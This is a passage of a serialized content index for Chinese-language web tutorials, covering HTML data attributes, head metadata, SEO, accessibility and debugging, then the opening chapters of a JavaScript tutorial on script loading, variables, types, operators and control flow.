data-level=\"hot\"\n         data-user-id=\"1024\"\n         data-max-width=\"480\"\n         data-config='{\"sortable\":true,\"page\":1}'>\n  …\n\u003C\u002Farticle> 名字用 kebab-case（data-max-width），驼峰只出现在 JS 的 dataset 访问端。 名字要有语义：data-role=\"price\" 好于 data-x=\"3\"。 JSON 值用单引号包裹，内部保持标准双引号 JSON。",{"id":131437,"title":128270,"titles":131438,"content":131439,"level":357},"\u002Ftutorials\u002Fhtml#配合-css-属性选择器",[122491,128151],"CSS 能直接按属性匹配，这带来一种很实用的写法：把「内容属性」交给 data，样式响应它，JS 只改属性不碰类名。 .card[data-level=\"hot\"] { border-color: #cf222e; }   \u002F* 精确匹配 *\u002F\n.card[data-level]       { cursor: pointer; }          \u002F* 只要属性存在 *\u002F\n[data-level^=\"h\"]       { … }                         \u002F* 前缀，还有 $= *= ~= |= *\u002F\n.card[data-level]::after { content: attr(data-level); } \u002F* 把值当文本显示出来 *\u002F\n.grid-item[data-span=\"2\"] { grid-column: span 2; } attr() 在 content 里取值非常省事（做角标、单位后缀），但它目前只能可靠地用在 content 上，不能拿去当宽度、颜色等任意属性值使用——那条能力（attr() 的通用用法）还在逐步落地中，写生产样式前请查一次基线支持。",{"id":131441,"title":128425,"titles":131442,"content":131443,"level":357},"\u002Ftutorials\u002Fhtml#dataset-读取",[122491,128151],"const el = document.querySelector('[data-user-id]')\n\nel.dataset.userId      \u002F\u002F '1024' —— 连字符名自动映射成驼峰\nel.dataset.maxWidth    \u002F\u002F '480'，注意仍是字符串，要自己 parseInt\nel.dataset.state = 'ok'\u002F\u002F 写入会同步反映到 HTML 属性，CSS 选择器立刻生效\n\nObject.entries(el.dataset)          \u002F\u002F 遍历该元素上全部 data-*\ndelete el.dataset.clicks            \u002F\u002F 删除属性\n\nel.getAttribute('data-user-id')     \u002F\u002F 等价读法；setAttribute 是等价写法 dataset 与 getAttribute 的区别只在可读性，操作的是同一个属性。要监听变化用 MutationObserver。",{"id":131445,"title":128543,"titles":131446,"content":131447,"level":357},"\u002Ftutorials\u002Fhtml#什么时候不该用-data",[122491,128151],"外观开关用 class，不用 data-*。data-color=\"red\" 通常说明你真正想要的是一个语义类名。 敏感信息不要放：和所有属性一样，它会出现在源码里，任何人可见。 可访问性状态必须用 ARIA：aria-expanded、aria-current、aria-hidden 会被读屏播报，data-* 完全不会。把 data-open 当成 aria-expanded 用是常见错误。 需要传结构化配置时，集中成一个 data-config JSON 比散成十几个属性更好维护。",{"id":131449,"title":128596,"titles":131450,"content":131451,"level":341},"\u002Ftutorials\u002Fhtml#十六响应式视口head-元信息与-seo",[122491],"\u003Chead> 里的内容决定三件事：手机上能不能正常排版、搜索结果长什么样、分享到社交平台时有没有卡片图。",{"id":131453,"title":128605,"titles":131454,"content":131455,"level":357},"\u002Ftutorials\u002Fhtml#viewport-那一行到底在说什么",[122491,128596],"\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"> width=device-width：按设备的逻辑宽度排版；initial-scale=1：初始不缩放。 漏写这一行，手机会按 980px 宽排版再整体缩小，文字小到看不清，并且所有媒体查询失效——它看到的宽度永远是 980 而不是 375。 不要再写 user-scalable=no 或 maximum-scale=1：禁止双指放大是可访问性错误，主流浏览器也已不再遵守。 与它配套的 CSS 是「流式布局 + 少量断点」，见 CSS 教程第十三章。",{"id":131457,"title":128674,"titles":131458,"content":131459,"level":357},"\u002Ftutorials\u002Fhtml#titledescriptioncanonical三件必写",[122491,128596],"项 建议 常见失误 \u003Ctitle> 每页唯一，30 字以内，核心词靠前，「文章名 - 站点名」格式 全站同一个标题；被截断；标题堆砌关键词 \u003Cmeta name=\"description\"> 80–120 字，写给用户看的一句话摘要 缺失（引擎自己拼，通常很难看）；把整段正文粘进去 \u003Clink rel=\"canonical\"> 同一内容的多个 URL 指向唯一规范地址 分页\u002F排序参数各自一条规范地址，导致权重分散 description 不直接提升排名，但它决定用户在你的摘要里看到什么，影响点击率。robots 相关：内部搜索结果页、预览页写 noindex；hreflang 用于多语言版本互相声明，必须双向；sitemap.xml 提交到搜索引擎站长平台。 静态站框架通常能自动产出这几项。本站在 Nuxt 里对应 useSeoMeta()（页面级）与 nuxt.config.ts 的 site.url——注意 site.url 上线前必须换成真实域名，否则 canonical 和 sitemap 都会指向占位地址。",{"id":131461,"title":128765,"titles":131462,"content":131463,"level":357},"\u002Ftutorials\u002Fhtml#open-graph-与分享卡片",[122491,128596],"\u003Cmeta property=\"og:type\" content=\"article\">\n\u003Cmeta property=\"og:title\" content=\"HTML 教程：从第一个标签到语义化页面\">\n\u003Cmeta property=\"og:description\" content=\"19 章循序渐进，每章配可直接运行的示例。\">\n\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002F你的域名\u002Fimg\u002Fhtml-cover.svg\">\n\u003Cmeta property=\"og:url\" content=\"https:\u002F\u002F你的域名\u002Ftutorials\u002Fhtml\">\n\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\"> 要点：og:image 必须是绝对 URL，比例约 1.91:1（1200×630）；相对路径不会报错，只会让卡片没有图。部分平台不支持 SVG 作为 og:image，稳妥做法是额外准备一份 JPG\u002FPNG。各平台都有官方校验工具（微信\u002F微博、Facebook Sharing Debugger、Twitter Card Validator），发布新模板时逐个跑一次。",{"id":131465,"title":128918,"titles":131466,"content":131467,"level":357},"\u002Ftutorials\u002Fhtml#其它常用-head-元信息",[122491,128596],"theme-color：手机浏览器地址栏配色；给深色模式再补一条带 media=\"(prefers-color-scheme: dark)\" 的。 link rel=\"icon\"：标签页图标，同时保留 \u002Ffavicon.ico 兜底最省事。 link rel=\"alternate\" type=\"application\u002Frss+xml\"：RSS 订阅地址。 link rel=\"preconnect\"：只对确定要请求的第三方域名握手，加多了适得其反。 format-detection telephone=no：禁止 iOS 把一串数字变成电话链接。 \u003Cmeta http-equiv=\"refresh\">：除非做跳转兜底，否则别用——它打断用户且读屏不友好。",{"id":131469,"title":128975,"titles":131470,"content":128978,"level":341},"\u002Ftutorials\u002Fhtml#十七可访问性",[122491],{"id":131472,"title":128981,"titles":131473,"content":131474,"level":357},"\u002Ftutorials\u002Fhtml#键盘可达与焦点顺序",[122491,128975],"原生可交互元素——\u003Cbutton>、\u003Ca href>、\u003Cinput>、\u003Cselect>、\u003Ctextarea>——天然能 Tab 到、天然响应 Enter\u002F空格。用 \u003Cdiv> 冒充按钮时你需要自己补齐三件事：tabindex=\"0\"、role=\"button\"、以及监听 keydown 处理 Enter 与空格。只要能用原生标签就用原生标签，这是最省事也最不容易出错的做法。 tabindex 的三个取值要知道：0 按 DOM 顺序入列；-1 不能被 Tab 到但可被脚本聚焦（弹窗背景常用）；正数会打乱全局顺序，绝大多数场景都不该出现。 另外两条：模态弹窗打开时应把焦点移入并在内部循环（focus trap），关闭后归还到触发元素；「跳到主内容」的隐藏链接（首个焦点时露出）能替键盘用户省掉每次遍历整条导航。",{"id":131476,"title":129039,"titles":131477,"content":131478,"level":357},"\u002Ftutorials\u002Fhtml#焦点必须看得见",[122491,128975],"最严重也最常见的问题是抹掉焦点环： \u002F* 错误：键盘用户直接失去定位能力 *\u002F\nbutton:focus { outline: none; }\n\n\u002F* 正确：保留焦点，但换成符合设计的外观 *\u002F\n:focus-visible { outline: 3px solid #0969da; outline-offset: 2px; } :focus-visible 的好处是只在键盘聚焦时显示，鼠标点击不会留环，设计和可访问性都不用让步。本站的目录链接、搜索框用的就是这个伪类。",{"id":131480,"title":129120,"titles":131481,"content":131482,"level":357},"\u002Ftutorials\u002Fhtml#aria-的第一定律与常用属性",[122491,128975],"第一定律：能用原生语义标签和属性做到的，就不要用 ARIA。 \u003Cbutton> 已经是按钮，写 role=\"button\" 只会增加出错面积。 确实需要 ARIA 的典型场景： 属性 用途 注意 aria-label \u002F aria-labelledby 给无名控件命名 图标按钮必用；labelledby 指向已有可见文本更稳 aria-expanded 展开\u002F折叠状态 自绘折叠组件必须自己维护，原生 \u003Cdetails> 自动带 aria-controls 按钮与被控区块的关联 值为目标 id aria-current=\"page\" 标出导航里的当前项 比只靠变色更明确 aria-live=\"polite\" 局部异步更新播报 表单校验结果、加载中提示；用 role=\"status\" 更简洁 aria-invalid + aria-describedby 把错误信息与控件关联 不要只用红色描边表达错误 aria-hidden=\"true\" 从无障碍树里移除纯装饰元素 装饰性图标字体、内联 SVG 用；绝不能用在可聚焦元素上 role=\"region\" \u002F 地标 给长页面分区 \u003Cmain>\u002F\u003Cnav>\u002F\u003Caside> 已自带，重复声明是冗余",{"id":131484,"title":129281,"titles":131485,"content":131486,"level":357},"\u002Ftutorials\u002Fhtml#对比度与其它底线",[122491,128975],"正文与背景对比度至少 4.5:1（大号字 3:1）。把提示文字统一设成 #aaa 是很多站点批量失分的原因；图片上的文字要么加遮罩要么换到纯色区域。 尊重 prefers-reduced-motion，为前庭功能敏感的用户关掉大幅位移动画（写法见 CSS 教程第十三章）。 移动端可点区域不小于 44×44 像素。 \u003Chtml lang=\"zh-CN\"> 决定读屏的发音引擎（第二章）。 交付前自己走两遍：只用 Tab 完成一次核心操作；把宽度压到 375px 读一遍。这两步能发现九成问题，成本远低于任何自动化工具。",{"id":131488,"title":129320,"titles":131489,"content":131490,"level":341},"\u002Ftutorials\u002Fhtml#十八常见坑与排错清单",[122491],"HTML 的错误绝大多数不会报错——它的设计目标就是「尽力理解你写的东西」。所以排查靠的是「对比实际 DOM 与预期 DOM」，而不是等控制台提示。",{"id":131492,"title":129330,"titles":131493,"content":131494,"level":357},"\u002Ftutorials\u002Fhtml#块级与行内的混用",[122491,129320],"最高频的一类：在 \u003Cp> 里放 \u003Cdiv>、\u003Cp>、\u003Cul> 等块级元素。浏览器会自动闭合前面的 \u003Cp>，于是你以为的一段变成三段，缩进和间距全乱。同类问题还有 \u003Cspan> 里放 \u003Cdiv>（不合法但会被纠正）、\u003Ca> 里套 \u003Ca>（内层被踢出）。",{"id":131496,"title":129367,"titles":131497,"content":131498,"level":357},"\u002Ftutorials\u002Fhtml#未闭合标签与浏览器的就近纠正",[122491,129320],"\u003Cli> 省略 \u003C\u002Fli> 在 HTML 里是合法的（下一个 \u003Cli> 或 \u003C\u002Ful> 会隐式闭合它），但 \u003Cdiv>、\u003Csection> 这类没有隐式闭合规则的标签漏掉闭合，就会吞掉后续一大块内容——表现为「下半页莫名其妙变成了一列」。交叉嵌套 \u003Cb>\u003Ci>文字\u003C\u002Fi>\u003C\u002Fb> 会被就近纠正成两对，结果与预期完全不同。 发现办法：Elements 面板看实际层级（与源码对不上就是被纠正过），或者把文件交给 W3C Nu 校验器，它会直接指出「element not allowed as child of …」。",{"id":131500,"title":129399,"titles":131501,"content":131502,"level":357},"\u002Ftutorials\u002Fhtml#表格与表单的典型错误",[122491,129320],"现象 真实原因 修法 表格列整体错位 合并单元格后没删被盖住的 \u003Ctd> 数每行列数，colspan\u002Frowspan 计入被占位的那几列 读屏只念数字 \u003Cth> 缺 scope 列表头 scope=\"col\"，行表头 scope=\"row\" 后端收不到某字段 控件只有 id 没有 name 补 name，id 与提交无关 点标题不聚焦 label for 与 id 不一致，或 id 重复 成对检查；重复 id 只命中第一个 按钮一点就整页刷新 表单里 \u003Cbutton> 默认 type=\"submit\" 非提交按钮写 type=\"button\"，JS 里 preventDefault() 单选组能同时选两个 同组 radio 的 name 不同 一组同名，value 区分选项 图片不显示 路径 404 \u002F 漏了部署子路径前缀 先看 Network，再看是不是写了 ..\u002F..\u002F 百分比高度为 0 父级没有确定高度，或进了怪异模式 用 min-height\u002Faspect-ratio；document.compatMode 检查",{"id":131504,"title":129569,"titles":131505,"content":131506,"level":357},"\u002Ftutorials\u002Fhtml#排错的固定路径",[122491,129320],"关掉浏览器扩展再刷新（广告拦截、隐私插件是「本地正常别人打不开」的第一大来源）。 Console 看红字，Network 看红条：路径、接口、CORS 问题一次现形。 Elements 看实际 DOM，Computed 看最终样式：你在源码里写的顺序不是浏览器的理解结果。 最小复现：把可疑片段复制到独立的空白 HTML 里，只留最小结构，逐步加回。 跑一遍校验与审计：Nu 校验器查结构，Lighthouse 查对比度、缺 label、缺 title。 真机验证：375px 宽度 + 只用键盘走一遍核心流程。",{"id":131508,"title":129616,"titles":131509,"content":131510,"level":341},"\u002Ftutorials\u002Fhtml#十九综合实战用语义标签重写一个页面",[122491],"前面十八章的知识在这一章一次性用掉。下面两个示例是同一个页面的两个版本，视觉效果一致，差别全在结构上。先用浏览器打开看两边是否真的长得差不多，再对照源码。",{"id":131512,"title":129626,"titles":131513,"content":131514,"level":357},"\u002Ftutorials\u002Fhtml#先看清旧结构",[122491,129616],"这份代码的可见问题是：整页只有 div\u002Fspan；导航和「阅读全文」是上了色的文字，没有任何可聚焦元素；日期是纯文本；样式全部内联。它在视觉上完全正常，但读屏用户拿不到地标列表，键盘用户一步都走不了，搜索引擎抽正文时会把友情链接一起抽走。",{"id":131516,"title":129646,"titles":131517,"content":131518,"level":357},"\u002Ftutorials\u002Fhtml#重写从地标开始",[122491,129616],"重写的顺序值得记住，它和写 CSS 的顺序相反——先结构后外观： 先放五个地标：header（含 h1）、nav aria-label=\"主导航\"、main、aside、footer。 nav 里放真正的 ul > li > a，当前页给 aria-current=\"page\"；链接必须是 a[href]，不要用 div 上色冒充。 每一篇可独立分发的内容给一个 article，标题用 h3 并把整条标题做成链接（a 可以包块级内容，卡片整体可点就是这么实现的）。 日期用 \u003Ctime datetime=\"2026-09-20\">，机器读得到、人看到的是中文。 并列的目录项用 ul\u002Fol，并给承载它的分区加 h2 + aria-labelledby。 样式全部收进类名（BEM 风格），去掉内联 style——这一步属于 CSS 教程，但改造时顺手做完最省事。 注意改造后没有新增一个 role：\u003Cmain> 已隐含 role=\"main\"，\u003Cnav> 已隐含 role=\"navigation\"，重复声明是冗余。ARIA 只用来补原生标签补不了的信息（aria-current、aria-label、aria-labelledby）。",{"id":131520,"title":129756,"titles":131521,"content":131522,"level":357},"\u002Ftutorials\u002Fhtml#对照检查清单",[122491,129616],"改完一个页面，按这七条逐项打勾： 只用 Tab 能从页头走到页尾，每一步都看得见焦点环。 读屏的地标列表里能看到 导航 \u002F 主内容 \u002F 侧栏 \u002F 内容信息 四项。 页面只有一个 \u003Ch1>，标题层级不跳跃（h2 之后不直接出现 h4）。 所有图片都有 alt，装饰图的 alt=\"\" 而不是省略。 所有图标按钮都有 aria-label，所有表单控件都有绑定的 \u003Clabel>。 每个 \u003Ciframe> 都有 title。 正文文字与背景对比度 ≥ 4.5:1。 到这里 HTML 教程完结。接下来建议直接进入 CSS 教程：本教程里所有「交给 CSS」的部分（布局、单位、颜色、响应式、主题变量）都在那边展开。 html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"id":74418,"title":61741,"titles":131524,"content":74416,"level":334},[],{"id":131526,"title":61747,"titles":131527,"content":131528,"level":341},"\u002Ftutorials\u002Fjs#一javascript-是什么脚本的执行时机与绑定方式",[61741],"HTML 决定「这是什么内容」，CSS 决定「它怎么呈现」，JavaScript 决定「它怎么响应」。前两者是声明式的描述，JS 则是真正的编程语言：变量、分支、循环、函数，还自带操作页面本身的能力。它在浏览器里由 JS 引擎（V8、SpiderMonkey 等）逐行执行；同一门语言搬到服务器就是 Node.js——本教程聚焦浏览器这一侧。 学 JS 之前先建立一条直觉：页面在浏览器里是「边解析边执行」的。HTML 教程第一章讲过解析过程，其中顺序地读标签这一点，直接决定了脚本的行为。",{"id":131530,"title":74262,"titles":131531,"content":131532,"level":357},"\u002Ftutorials\u002Fjs#script-放哪里四种写法与各自的执行时机",[61741,61747],"\u003C!-- ① 放在 head 里：先下载执行，再解析后面的 HTML -->\n\u003Chead>\u003Cscript src=\"\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\u003C\u002Fhead>\n\n\u003C!-- ② 放在 \u003C\u002Fbody> 之前：前面的 DOM 已经解析完 -->\n\u003Cbody>…\u003Cscript src=\"\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\u003C\u002Fbody>\n\n\u003C!-- ③ head 里加 defer：并行下载，解析完再按顺序执行 -->\n\u003Chead>\u003Cscript src=\"\u002Fjs\u002Fapp.js\" defer>\u003C\u002Fscript>\u003C\u002Fhead>\n\n\u003C!-- ④ type=\"module\"：文件成为模块，自带 defer 行为与独立作用域 -->\n\u003Chead>\u003Cscript src=\"\u002Fjs\u002Fapp.js\" type=\"module\">\u003C\u002Fscript>\u003C\u002Fhead> 写法 阻塞解析吗 何时执行 顺序保证 普通脚本（默认） 是，下载并执行完才继续解析 下载完立即执行 按出现顺序，但都在解析中 \u003C\u002Fbody> 之前 前面的内容已解析完，无所谓 立即执行 按出现顺序 defer 否，并行下载 整个文档解析完成后 严格按出现顺序 async 否 下载完立即执行（可能打断解析） 不保证，谁先下完谁先跑 type=\"module\" 否 同 defer 按出现顺序（第二十章展开） 关键结论只有一条：脚本执行时，只有它前面已经解析过的 HTML 才能被拿到。写在 head 里的普通脚本去操作 #late 必然拿到 null，然后报出新手遇到的第一个错误 Cannot read properties of null。 defer 还藏着一个细节：脚本在 DOMContentLoaded 之前执行，而 DOMContentLoaded 与 window 的 load 事件是两回事——前者在 DOM 树就绪时触发，后者要等图片、样式等全部资源加载完。想「DOM 一好就干活」，监听 DOMContentLoaded 或直接用 defer 即可，别用 load。",{"id":131534,"title":62054,"titles":131535,"content":131536,"level":357},"\u002Ftutorials\u002Fjs#事件绑定addeventlistener-与-onclick-的差别",[61741,61747],"给元素挂行为有两种常见写法，差别值得先知道： const btn = document.querySelector('#btn')\n\nbtn.onclick = () => console.log('第一个')\nbtn.onclick = () => console.log('第二个')   \u002F\u002F 覆盖了上一个！最终只有这条生效\n\nbtn.addEventListener('click', () => console.log('第一个'))\nbtn.addEventListener('click', () => console.log('第二个'))   \u002F\u002F 两个都会执行 onclick 是「属性赋值」，同名的只能存一个；addEventListener 是「列表登记」，可以叠多个、还能按需移除（removeEventListener，要求传同一函数引用）。还有第三种——HTML 属性内联 onclick=\"…\"——把结构、行为写在一起，属于早期教程的写法，新代码不要再用了。事件的完整机制（冒泡、捕获、委托）在第十五章。",{"id":131538,"title":62212,"titles":131539,"content":131540,"level":357},"\u002Ftutorials\u002Fjs#表达式语句与分号",[61741,61747],"JS 里有两类语法单位：表达式产生一个值（1 + 2、user.name、函数调用），语句是一个动作（const x = 1、if (…) {…}、return）。分号在多数情况可以省略（自动分号插入，ASI），但 ASI 的规则不直观，有两条实践建议：团队内统一风格（本站统一不写行尾分号），以及不要依赖 ASI 救场——像 return 后换行这类位置，ASI 的插入点常常和你的意图相反。",{"id":131542,"title":62253,"titles":131543,"content":131544,"level":341},"\u002Ftutorials\u002Fjs#二变量与声明const-优先let-备用",[61741],"现代 JS 的选型建议只有一句：默认用 const，确实需要重新赋值时才把它改成 let，var 基本不再使用。这不是审美偏好，var 有几条历史遗留规则会持续制造 bug，下面逐个看。",{"id":131546,"title":62274,"titles":131547,"content":131548,"level":357},"\u002Ftutorials\u002Fjs#三兄弟对比",[61741,62253],"维度 const let var（老） 作用域 块级 {} 块级 {} 函数级 重新赋值 禁止（对绑定而言） 允许 允许 重复声明 报错 报错 静默覆盖 声明前访问 报错（TDZ） 报错（TDZ） 得到 undefined 提升 有，但在 TDZ 中 有，但在 TDZ 中 提升且初始化为 undefined const PI = 3.14\nlet count = 0\ncount = count + 1        \u002F\u002F ✓ let 可以重新赋值\n\nconst user = { name: '阿蓝' }\nuser.name = '小青'        \u002F\u002F ✓ 合法！改的是对象的属性\nuser = {}                \u002F\u002F ✗ TypeError：向常量赋值（改的是绑定本身）",{"id":131550,"title":62464,"titles":131551,"content":131552,"level":357},"\u002Ftutorials\u002Fjs#const-锁定的是绑定不是值",[61741,62253],"这是 const 最容易被误解的一点：它保证变量永远指向同一个值，但完全不关心这个值内部能不能变。所以 const 声明对象后照样能改属性、push 数组。真想要「整个对象冻住」，用 Object.freeze()——注意它是浅冻结，嵌套的对象不受影响。",{"id":131554,"title":62492,"titles":131555,"content":131556,"level":357},"\u002Ftutorials\u002Fjs#块级作用域与-tdz",[61741,62253],"let 和 const 的作用域是「最近的这一对花括号」： if (true) {\n  let inner = '块内'\n  var leak = '泄漏了'\n}\nconsole.log(inner)   \u002F\u002F ✗ ReferenceError：块外根本不存在\nconsole.log(leak)    \u002F\u002F '泄漏了'，var 是函数级作用域，从 if 里跑了出来 「声明前访问报错」这条叫暂时性死区（TDZ）：从进入作用域到执行到声明语句之间，变量处于不可访问状态。对比 var 的「提前访问得到 undefined」——undefined 会装作没事继续跑，ReferenceError 则会立刻炸给你看，早报错远好过带病运行，这也是推荐 const\u002Flet 的原因之一。",{"id":131558,"title":62595,"titles":131559,"content":131560,"level":357},"\u002Ftutorials\u002Fjs#var-的历史包袱重复声明与循环泄漏",[61741,62253],"var 时代最常见的两个 bug：同名变量被第二次声明悄悄覆盖（不报任何错），以及 for 循环变量泄漏到外面： for (var i = 0; i \u003C 3; i++) { \u002F* … *\u002F }\nconsole.log(i)   \u002F\u002F 3 —— i 泄漏到了循环外面！\n\nfor (let j = 0; j \u003C 3; j++) { \u002F* … *\u002F }\nconsole.log(j)   \u002F\u002F ✗ ReferenceError：let 的 j 只在循环体内 let 在 for 里还有一条更微妙的规则——每次迭代都会创建一个新的绑定，这让「循环里创建函数、函数记住当次的值」成为自然行为。这一点在第七章讲闭包时会看到它的完整价值。",{"id":131562,"title":62713,"titles":131563,"content":131564,"level":357},"\u002Ftutorials\u002Fjs#命名规范",[61741,62253],"一条好名字省下十行注释。约定速查： 变量与函数用 camelCase：userName、fetchList； 真正常量用 UPPER_SNAKE_CASE：MAX_RETRY、API_BASE； 布尔值带前缀：isReady、hasPermission、canSubmit； 合法字符：字母、数字、$、_，不能数字开头，不能是保留字（class、return…）；中文标识符合法但别用； 名字要有语义：price 好于 p，list2、temp、data1 这种名字说明还没想清楚它是什么； 一行只声明一个变量，别写 let a = 1, b = 2 的逗号链——日后增删都容易漏。",{"id":131566,"title":62799,"titles":131567,"content":131568,"level":341},"\u002Ftutorials\u002Fjs#三数据类型原始值对象与类型判断",[61741],"JS 的值分两大家族：原始值（primitive，不可再分）与对象（object，属性的集合）。理解这条分界，等于拿到后面所有「为什么它没变」「为什么它跟着变了」类问题的钥匙。",{"id":131570,"title":62813,"titles":131571,"content":131572,"level":357},"\u002Ftutorials\u002Fjs#八种类型与-typeof",[61741,62799],"原始值有七种：string、number、boolean、undefined、null、symbol、bigint；加上 object 一族（含数组、函数、日期等）就是全部。 值 typeof 结果 备注 'abc' 'string' 42 \u002F 3.14 'number' 只有一种数字类型，不区分整数浮点 true 'boolean' undefined 'undefined' 「未定义」，变量声明未赋值的默认值 null 'object' 历史 bug，官方承认但为了兼容不改；判空用 === null Symbol('id') 'symbol' 独一无二的标记 10n 'bigint' 超出安全范围的大整数 {} \u002F [] 'object' 数组也是 object，判定要用 Array.isArray() function () {} 'function' 可调用对象，但归类上仍是对象",{"id":131574,"title":63006,"titles":131575,"content":131576,"level":357},"\u002Ftutorials\u002Fjs#原始值传拷贝对象传引用",[61741,62799],"let a = 1\nlet b = a\nb = 2\nconsole.log(a)   \u002F\u002F 1 —— 原始值各存各的\n\nconst x = { n: 1 }\nconst y = x\ny.n = 2\nconsole.log(x.n) \u002F\u002F 2 —— 两个名字指向同一个对象！\n\nfunction bump(obj) { obj.n++ }   \u002F\u002F 参数也是引用传递\nbump(x)\nconsole.log(x.n) \u002F\u002F 3 —— 函数里改的就是外面那个对象 所以「对象比较」不能靠 === 判断内容：{n:1} === {n:1} 永远是 false，因为比的是「是不是同一个对象」。判断内容相等需要逐字段比较，或用 JSON.stringify 做近似的深比较（有顺序敏感等局限）。",{"id":131578,"title":63173,"titles":131579,"content":131580,"level":357},"\u002Ftutorials\u002Fjs#数字的两个经典雷区",[61741,62799],"0.1 + 0.2 === 0.3          \u002F\u002F false！IEEE 754 双精度浮点的固有限制\nMath.abs(0.1 + 0.2 - 0.3) \u003C Number.EPSILON   \u002F\u002F 浮点比较的正确姿势\n\nNaN === NaN                \u002F\u002F false！NaN 不等于任何值，包括自己\nNumber.isNaN(NaN)          \u002F\u002F true，判断 NaN 要用它\nisNaN('12px')              \u002F\u002F true —— 老 isNaN 会先做类型转换，基本别用 金额场景不要用浮点数直接算账（乘 100 转整数分，或交给后端），这是行业铁律。",{"id":131582,"title":63280,"titles":131583,"content":131584,"level":357},"\u002Ftutorials\u002Fjs#假值只有八个位置",[61741,62799],"if 里当条件用时，只有下面这些值算「假」，其余全是真： false   0   -0   0n   ''   null   undefined   NaN 最容易踩的是「长得像假、其实是真」的成员：字符串 '0'、'false'、空格串 ' '、空数组 []、空对象 {}——统统为真。所以校验「用户填没填」应该判 value === ''，而不是 if (value)。",{"id":131586,"title":63350,"titles":131587,"content":63353,"level":341},"\u002Ftutorials\u002Fjs#四运算符相等短路与可选链",[61741],{"id":131589,"title":74281,"titles":131590,"content":131591,"level":357},"\u002Ftutorials\u002Fjs#会做类型转换-不会",[61741,63350],"1 == '1'        \u002F\u002F true —— 字符串被转成数字\n1 === '1'       \u002F\u002F false —— 类型不同\nnull == undefined      \u002F\u002F true —— 特例，唯一值得保留 == 的用法\n[] == false            \u002F\u002F true —— 空数组转成 '' 再转 0……\n'0' == false           \u002F\u002F true —— 新手最常踩的「字符串 0」 规则只有一条：日常一律用 === 与 !==；唯一例外是 x == null，它同时命中 null 和 undefined，读作「x 是空的吗」，写起来比 x === null || x === undefined 干净。",{"id":131593,"title":63454,"titles":131594,"content":131595,"level":357},"\u002Ftutorials\u002Fjs#逻辑运算的返回值是操作数短路是特性",[61741,63350],"&& 和 || 不返回布尔值，而是返回决定结果的那一侧操作数；并且左侧一旦能定结果，右侧就不执行（短路）： const name = input || '游客'      \u002F\u002F input 为假值时用默认值\nisReady && start()                \u002F\u002F 常用简写：条件成立才执行\nconst count = data ?? 0           \u002F\u002F ?? 只在 null \u002F undefined 时兜底 || 与 ?? 的区别是高频考点：|| 把 0 和空串也当成「没有值」，?? 只认 null \u002F undefined。想保留用户填的 0 或 '' 时，必须用 ??： 0 || 100   \u002F\u002F 100  ✗ 0 是假值，被兜底了\n0 ?? 100   \u002F\u002F 0    ✓ 0 是合法数字，保留",{"id":131597,"title":74284,"titles":131598,"content":131599,"level":357},"\u002Ftutorials\u002Fjs#可选链-深层访问不再逐层判断",[61741,63350],"user?.profile?.name        \u002F\u002F 中途任何一环是 null\u002Fundefined 就返回 undefined，不报错\nuser.greet?.()             \u002F\u002F 方法存在才调用\nuser.tags?.[0]             \u002F\u002F 数组下标同样适用 配套的逻辑赋值运算符 ??= \u002F ||= \u002F &&= 用来「只在满足条件时写入」：补配置默认值用 ??= 最精准——已设的值（哪怕是 0 或空串）不会被覆盖。",{"id":131601,"title":63648,"titles":131602,"content":131603,"level":357},"\u002Ftutorials\u002Fjs#两个小符号",[61741,63350],"+ 既是加法也是字符串拼接：只要一侧是字符串，另一侧就被转成字符串（'1' + 1 === '11'）；而 -、*、\u002F 只做数学，会把字符串强制转成数字再算（'6' \u002F '2' === 3）。字符串和数字混算前，先显式用 Number() 转换，比依赖隐式规则可靠。 ++ 有前缀后缀之分（++i 先加再用、i++ 先用再加），但不要在表达式里使用自增——arr[i++] = arr[i] 这种代码只有作者读得懂，拆成两行。",{"id":131605,"title":63700,"titles":131606,"content":314,"level":341},"\u002Ftutorials\u002Fjs#五流程控制分支与循环",[61741],{"id":131608,"title":63704,"titles":131609,"content":131610,"level":357},"\u002Ftutorials\u002Fjs#if-else-与提前-return",[61741,63700],"if 的语法不必多讲，值得刻意练习的是守卫子句写法：把「不满足就退出」的条件提前处理，主干逻辑就永远不会缩进三层以上。 function getDiscount(user) {\n  if (!user) return 0           \u002F\u002F 守卫：没有用户，直接返回\n  if (!user.isVip) return 0     \u002F\u002F 守卫：不是会员，直接返回\n  return user.years > 3 ? 0.8 : 0.9   \u002F\u002F 主干清晰，只有一行\n} 三元表达式 条件 ? 值1 : 值2 适合「二选一取值」的场合，不要嵌套超过一层——两层以上就该改写成 if 或映射表。",{"id":131612,"title":74290,"titles":131613,"content":131614,"level":357},"\u002Ftutorials\u002Fjs#switch-比较与-break",[61741,63700],"switch 适合「一个值对多种情况」的分支，两条规则：比较用的是严格相等 ===（字符串 '5' 不会命中数字 5）；每个 case 结尾要 break，否则会从命中的位置一路「穿透」执行到底。穿透有时是特性——多个值共用一段逻辑时让 case 连续排列即可。",{"id":131616,"title":63844,"titles":131617,"content":131618,"level":357},"\u002Ftutorials\u002Fjs#三种循环与两种遍历",[61741,63700],"for (let i = 0; i \u003C arr.length; i++) { }   \u002F\u002F 经典 for：需要下标或跳步时用\nwhile (条件) { }                            \u002F\u002F 先判断，可能一次都不执行\ndo { } while (条件)                        \u002F\u002F 先执行一遍，再判断\n\nfor (const item of arr) { }                \u002F\u002F ✓ 